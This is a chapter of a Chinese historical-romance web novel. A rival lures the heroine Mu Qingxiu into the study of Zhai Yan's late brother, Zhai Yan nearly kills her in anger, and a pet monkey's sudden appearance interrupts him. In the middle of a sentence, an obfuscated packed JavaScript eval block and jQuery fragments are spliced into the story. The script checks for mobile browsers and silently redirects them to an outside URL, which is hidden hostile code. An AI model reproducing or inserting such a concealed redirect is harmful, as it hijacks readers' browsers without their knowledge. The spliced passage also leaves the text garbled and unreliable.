面前的人,神色恭敬,语气恳切。
临摹一幅字帖,说来不是什么难事。柳氏这番心思,除了是想要讨好于翟兖,更多的是存了试探她的成分在里头,大约是想看看她是否真的心无二念。若是执意推脱,反倒容易让此人生出别的心思来。
如此想着,她便索性点头:“蒙柳家女郎信任,如此我便勉力试上一二。只是不敢保证尽善尽美。”
见她应承下来,柳氏显然大喜过望,脸上的笑容愈加璀璨,连忙起身对着她躬身行礼:“侯夫人肯援手相助已是大恩。我的书斋离此处不远,现下且引夫人前去。”
慕青岫匆匆同积玉交代了几句,便径直跟着那柳氏走了。
出了院门过月洞绕了条冷僻小径,路上竟也不见半个仆役,却也如那柳氏所说,费不了多时二人便来到了一处清幽之处。
此处明显与府中其他不同,步入院中,映入眼帘的便是一片郁郁葱葱的竹林,比她园中稀疏几株更挺拔修长繁密。竹林之中,铺着一条青石板路,蜿蜒曲折,通向院落深处的屋子。其余各种陈设亦是简洁古朴,足见屋子主人的风雅。
慕青岫未曾想到柳氏竟会将这书屋打理得这般清幽雅致,丝毫不见寻常女气,难免一怔。
沿着青石板路,缓缓走至屋前。
房门是用乌沉沉的上等柏木制成,门上挂着一把铜锁。柳氏走上前,从袖中取出一把钥匙轻轻推入锁眼,一推开房门,淡淡墨香与沉水混合在一起的气息瞬间扑面而来。不想刚推扉而入,柳氏忽又驻足,眉头微微蹙起,脸上露出一抹懊恼与难色,复又扶额,“哎呀,瞧我真是糊涂,竟忘了吩咐下人备好茶水,实在是失礼。侯夫人且先进屋稍候片刻,那书案上便放着我未竟的临摹之作,夫人可先自行先落笔续作,我去去便回,绝不误事。”
言罢,不待她应声,柳氏便一脸歉意地转身匆匆离开,脚步很快,人影转瞬就消失在了竹影之间。慕青岫站在原地唤之不及,只得独自先缓缓步入内。
屋内陈设简洁而古朴,壁间悬着几幅装裱完好的山水墨画,笔法遒劲疏朗,飘逸洒脱,十分称得上佳作,却也不知是哪位名家的所成。她的目光轻轻扫过屋内的陈设,又缓缓移动,最终将目光又落在了屋内那张宽大的书案之上。
书案横陈在屋子的中央,除了摆放着笔墨纸砚之外,果然还有一幅尚未写完的字帖,摊展其上。几笔勾勒,款款字体,笔锋亦是难得磅礴大气,但绝非柳氏形容得那般不堪,临摹难以为继。如此再看,她之前的推测大致错不了,这柳氏这般多此一举,无非对她行试探的举动罢了。
她缓缓行至书案前,俯身细品那幅未竟之作,细细辨认笔墨痕迹,观其笔锋走势,片刻后心中已有丘壑。遂取过案上的狼毫笔,蘸了蘸砚台中浓淡相宜的松烟墨,手腕轻转,循着柳氏原有的笔锋走势,缓缓在纸上落了笔。
屋外竹林间,寒风呜咽,如骨影重重。
黑暗处有轻声密语。
“嬷嬷,你看此事又几分把握?”
那个皮肤黝黑的老奴盯住屋内灯火光影处,那丝映照在纸窗上低头挥笔的影子,冷笑一声:“女郎,十分不敢说,七八分总归有的。每年忌日本就最是侯爷心绪难控之时。旁人不知女郎还不晓得?屋内书案上的那幅字帖,便是当年翟府临出发去云州提亲的前一夜,君侯冒失闯入发脾气,搅得他兄长未将那帖字给写完。这些年来,君侯每每思及此便悔恨不已,情绪易崩。好在女郎也聪明,年年这个时候都会借礼佛的由头出去几天避让。哼,如此心头珍物被毁了,依照咱们侯爷杀伐决断的性子,还能留她看明天的日出不成吗?”
清辉泠泠,寒月一轮,遍洒九州。
然九州万里,尘寰浩渺,当年执手伴他成长之人,早已杳无踪迹,再难寻觅。翟兖沐发浴身毕,屏退左右侍者,一身素白中衣,疏疏落落着于身,立在中庭之上。湿发垂肩,水汽氤氲,沾湿鬓角,愈衬得眉目清俊如竹,神色冷冽如霜,周身漾着一股生人难近的寒寂之气。
今日,乃父兄忌辰。
偏逢都城遣使至,携天子赏酬而来。翟兖心如明镜,此赏此酬,皆起于冀州一役之功。既是使者临门,少不得设帐置宴,承欢作陪。席间,那使者分明是得了天子密嘱,口称替天子酬谢三军,神色却倨傲不恭,言语间多是旁敲侧击,暗露威权,句句皆是敲打之意。当今天子,渐失对四方诸侯之掌控,本就多思多疑之性,愈发乖戾无常。翟兖洞明其间利害,面上只得敛衽周旋,虚与委蛇,暗里却遣人备下丰厚银钱,馈赠与使者。直至那使者心满意足,叩首辞行,折返都城复命,这场应付方得落幕。
他素来厌弃这般贪得无厌、唯利是图的官吏,奈何眼下时势所迫,不得不与之同流合污,屈身隐忍。待躬身送那使者远去,转身的刹那,心底翻涌的自我厌弃,几欲将他淹没。
每年无颜来此处,可年年如入了魔障一般,总是忍不住。
晚风卷着竹林清寒,吹得他周身酒意微散,也吹得心底的隐痛愈发浓烈,却未料按照往年惯例刚抬脚踏入兄长书房院落之时,便察觉出空气中弥漫着一丝略有突兀,若有若无的清甜香气。
这不是什么好事。
院外竹叶簌簌作响,混着屋内漏出出的灯光,顿时教他心中顿时一紧,酒意也醒了几分,眸色瞬间变得凌厉起来,猛地抬手,用力推门而入。
果然,屋内的墨香与沉香,混合着一股淡淡的女子清甜气息,瞬间涌入他的鼻腔。眼前景象更是让他面色一滞,半响不敢相信自己目之所及,连呼吸都断了半拍。抬眼望去,一眼便见那已经避了好几日的慕氏女此刻正坐在书案前,手中握着的,竟是兄长生前惯用的那支紫毫笔,而笔尖还蘸着墨,正在寻找的那幅未竟遗作上,入神挥笔。
兄长旧庐,是他心中最为神圣最不容亵渎的地方,兄长遗作,更是他视若圭璧之物。这个慕氏女,她怎么敢在这里?到底是谁借她的胆子,让她肆无忌惮地走进这间屋子,无所顾忌毁了兄长的遗作?
果然,还是不能心软。
要不然,事情何至于如此。
他的脑海蓦然想起庞仓今日还在席间对他的苦劝,心里大悔之余,深怒积而不泄,竟化作周身寒冰,冷得令人窒息,连堂间风都似都凝住了。他大步跨入屋内,反手间腰部佩剑已然出鞘,“呛啷”一声清鸣,划破堂间死寂,寒光凛凛间,那剑尖堪堪点在慕青岫咽喉之上,那雪白的肌肤顿时沁出了一道细小红痕。
他的声音,亦是冷得似淬了冰的千年寒泉,一字一顿无半分波澜,却藏着滔天杀意:“慕氏,你此番作为,是要我此刻变剐了你,以慰我兄长在天之灵?”
室内的烛火莫名跳了一下,炸出一道烛花。窗外晚风骤起,竹叶重重拍打着窗棂,发出“噼啪”轻响,衬得屋内愈发寂静。
慕青岫则被这突如其来的变故惊得浑身都僵住。周身血液仿佛在瞬间凝固,四肢百骸皆浸着寒意,只能眼睁睁地望着那冰冷剑尖抵在喉咙,连呼吸都不敢太重。缓缓抬起头,对上了翟兖那双燃着滔天杀意、冰冷刺骨的眼眸。她想说些什么,偏喉间却是被什么东西堵住了一般,一个字也说不出来,只能眼睁睁地看着那冰冷剑尖复又微微挑起,重新朝她呼啸而来。
上一世也是如此。
来不及张嘴,那杆玄色的长矛便是穿没胸而入。
冰冷,苦痛,绝望。
而在眼下这个寒意瑟瑟的夜里,她只觉自己又回到了那个漫天风雪的云州城门前,前世的记忆如同一条冰冷的蛇,吐着恶毒的信子将她紧紧缠绕住,动弹不得。
那翟兖见她如此模样,便当她是心虚所至,冷笑一声,再次毫不犹豫地抬起了剑锋。
他想,如此,也好。
送她归西,省得再多生事端。
却不想,手腕方欲抬起,一道灰白影子自头顶的梁间倏然跃下,未及他反应过来,腕间已莫名遭一划,然后那影子旋即掠至自身后那半敞的门扉疾窜而出,转瞬没了踪迹。翟兖才骤觉手腕锐痛,掌中长剑哐当一声坠落地伤,震起细尘数粒。而慕青岫遭此一番骤乱惊扰,也从先前的惶惑怔忡里挣脱,神智渐渐清醒过来。
隗州多山,峰峦叠嶂。
纵是眼下这座主城,亦是循着山体地势而建,故以城中偶有山兽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259361|198015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出没。先前她曾得韩戟书信相嘱,言及夜卧时需谨闭门窗。因为值此寒冬,万物萧索,难免饥馑之时,会有山兽弃山入城,循烟火气出来觅食。
望向西北向的窗棂,不知何时裂了一道细缝。那小兽想来早已潜于屋内,方才翟兖挥剑动武,剑上凛冽杀气大抵惊破了它的蛰伏,惶恐之下,方从梁间窜落,直扑地面的翟兖。也亦幸得这小兽一扰,她先前已然支离破碎的心神竟得以重整。而方才入屋时种种违和之感,加之柳氏反常的举止,此刻皆豁然清明,心底转瞬便有了计较。
“翟侯,我实不知此处是尊兄书房。若知半分,自当避嫌,绝对不敢踏足半步。”言及此处,她忽忆起柳氏亦是翟兖心尖护惜之人,心底不由得生出百口莫辩的郁气,复又道,“只是此刻妾纵是直言相告原委,翟侯盛怒之下也恐难入耳。翟侯不如先放下杀我的念头,我亦不自辩,以你的谋略手段,自不难查出这其中的前因后果。”
书房的门,方才的那只小兽穿出去已经被撞开了。
天气真是融雪时分,最是寒冷之时。园中竹林的风卷着落叶吹了进来,冷风过境,砭人肌骨,加之手腕上被利爪抓过之后火辣辣的疼,这种似曾体验的熟悉之感,倒也让他先前为怒火焚灼的神智,倏然清明了大半。
那小兽窜走时虽疾如闪电,可他却已然认出来了。
昔年他幼时跟在兄长赴城外山中狩猎,曾在路边遇到一只几乎快没了气息的猢狲,遍体抓痕,鲜血淋漓,看着已经活不成了。山中林深树密,猢狲本就繁多,此辈生灵,领土护食之心极烈,寒冬乏食之际,纵是同族亦不免争斗相残——世间万物,大抵皆是如此。彼时他与兄长本欲转身离去,那猢狲却似挣出最后一丝气力,极通人性地扯住兄长大氅的衣角,作乞食之态。兄长心善,终是不忍,自行囊中取面饼一块递去。不意那猢狲得饼,竟不进食,反倒一改奄奄之态,颤巍巍地挪身,朝着一个方向爬去。他与兄长心生好奇,尾随其后,方见不远处干草垛中,藏着一只极小的幼崽,约莫刚出生不久,通体灰白,毛色殊异于山中寻常品种,颇为奇特。那重伤猢狲将面饼置于幼崽身侧,终是耗尽最后气力,阖眸而逝。那幼崽虽得吃食却弃之不顾,反倒自干草垛中爬出,伏于老猢狲尸身之上,哀哀嘶鸣,似人啼哭,情状凄切,令人动容。
兄长长叹一声,遂在原地挖了一个坑将那老猢狲埋葬了,又将那只通体灰白得小猢狲带回府邸亲力豢养。这小猢狲果然灵慧异常,经驯兽师略加点拨,便通晓人语,乖巧温顺,唯独不知为何,对他殊为不喜。他不信邪非要靠近,那小猢狲便十分不客气地在他的手腕上抓了一下。后来兄长出事,那小猢狲仿佛也似懂得了什么一般,在兄长的灵前哀嚎了几日之后,某夜便出府再也不见了其踪影。他原本以为其已经自顾自寻了山林归去了,没有想到这生畜比他想得还有灵性,竟然在兄长的忌日之时又回来了,而且藏于兄长的房中,贪恋那已经逝去的气息。方才,它倏然现身,大约是被他所惊吓到。
翟兖怔怔望着地上的长剑,先前翻涌的怒潮,竟缓缓退去,余下心间一片空茫。
慕氏固然可恶,可她说的没有错。
这其中有蹊跷。
此处原本一直有人看守,寻常人到了院楼之前就该给拦了回去,可这慕氏女却安然无恙地进来了。而且,她要是真存了歹毒之心要毁去兄长遗物,又何必在屋里点起灯火,引人生疑。
他的目光终于重新落于慕青岫面上,先前因怒意而紧绷的下颌线,在看清她模样时终于微微松动了。面前的女子鬓发微散,几缕青丝贴在光洁的额间,长睫凝着点点泪光,一双杏眼氤氲着水汽。而颈间纤细如鹤,肌肤赛雪,被剑尖抵住之处,那已然干涸的浅浅伤口,泛开一抹淡淡的胭脂色,竟透着几分不自知的艳色。酒意翻涌间,那抹艳色混着她眼底的慌乱与清绝,犹如一枝带露的海棠,猝不及防撞进他心底,又将余下的几分杀意,尽数冲散。
翟兖本是狷介孤高之人,见此情形,狠闭双眼收剑入鞘,声线依旧冷冽,却已褪去先前让此女今夜必死之念:“来人,拖下去,禁于后房,无我命令任何人不得探视!”